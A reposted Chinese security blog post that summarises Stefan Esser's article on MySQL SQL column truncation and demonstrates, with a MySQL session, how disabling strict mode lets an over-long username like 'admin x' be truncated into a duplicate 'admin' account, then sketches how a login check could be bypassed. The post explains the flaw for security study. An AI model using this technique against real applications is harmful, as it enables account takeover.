注册
登录
| 关键词： MySQL username truncated password admin test pass NULL sec default |
By:刺 Stefan Esser今天写了篇很棒的文章，提到了关于MySQL里的两个缺陷http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities1. max_packet_size 的问题2. SQL Column Truncation 攻击我测试了第二个。按照paper里描述的，当mysql的 sql_mode设置为default的时候，即没有开启STRICT_ALL_TABLES选项时，MySQL对于插入超长的值只会提示 warning，而不是error（如果是error就插入不成功），这样可能会导致一些截断问题。这个问题属于mysql的一个功能，在官方文档中也有所描述，然后我们最喜欢的就是这些功能，不是吗？测试过程如下(MySQL 5)：首先是开启了strict选项：sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"结果如下：mysql> create table `truncated_test` (-> `id` int(11) NOT NULL auto_increment,-> `username` varchar(10) default NULL,-> `password` varchar(10) default NULL,-> PRIMARY KEY (`id`)-> )DEFAULT CHARSET=utf8;Query OK, 0 rows affected (0.08 sec)mysql> select * from truncated_test;Empty set (0.00 sec)mysql> show columns from truncated_test;+----------+-------------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+----------+-------------+------+-----+---------+----------------+| id | int(11) | NO | PRI | NULL | auto_increment || username | varchar(10) | YES | | NULL | || password | varchar(10) | YES | | NULL | |+----------+-------------+------+-----+---------+----------------+3 rows in set (0.00 sec)mysql> insert into truncated_test(`username`,`password`) values("admin","pass");Query OK, 1 row affected (0.03 sec)mysql> select * from truncated_test;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | admin | pass |+----+----------+----------+1 row in set (0.00 sec)mysql> insert into truncated_test(`username`,`password`) values("admin x","new_pass");ERROR 1406 (22001): Data too long for column 'username' at row 1mysql> select * from truncated_test;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | admin | pass |+----+----------+----------+1 row in set (0.00 sec)然后是关闭了strict选项sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"mysql> select * from truncated_test;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | admin | pass |+----+----------+----------+1 row in set (0.00 sec)mysql> insert into truncated_test(`username`,`password`) values("admin x",-> "new_pass");Query OK, 1 row affected, 1 warning (0.01 sec)mysql> select * from truncated_test;+----+------------+----------+| id | username | password |+----+------------+----------+| 1 | admin | pass || 2 | admin | new_pass |+----+------------+----------+2 rows in set (0.00 sec)mysql>可见插入成功。出现了两个admin的记录。那么设想类似如下语句$userdata = null;if (isPasswordCorrect($username, $password)) {$userdata = getUserDataByLogin($username);...}两次查询的先后问题，可能就会导致一次bypass漏洞。当然在真实环境里没这么简单，可能在应用层面上还会有一些长度检查，往往会使这种攻击失败。但这种攻击可以实施的地方也不仅仅是登录处，还有更广泛的应用空间。 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
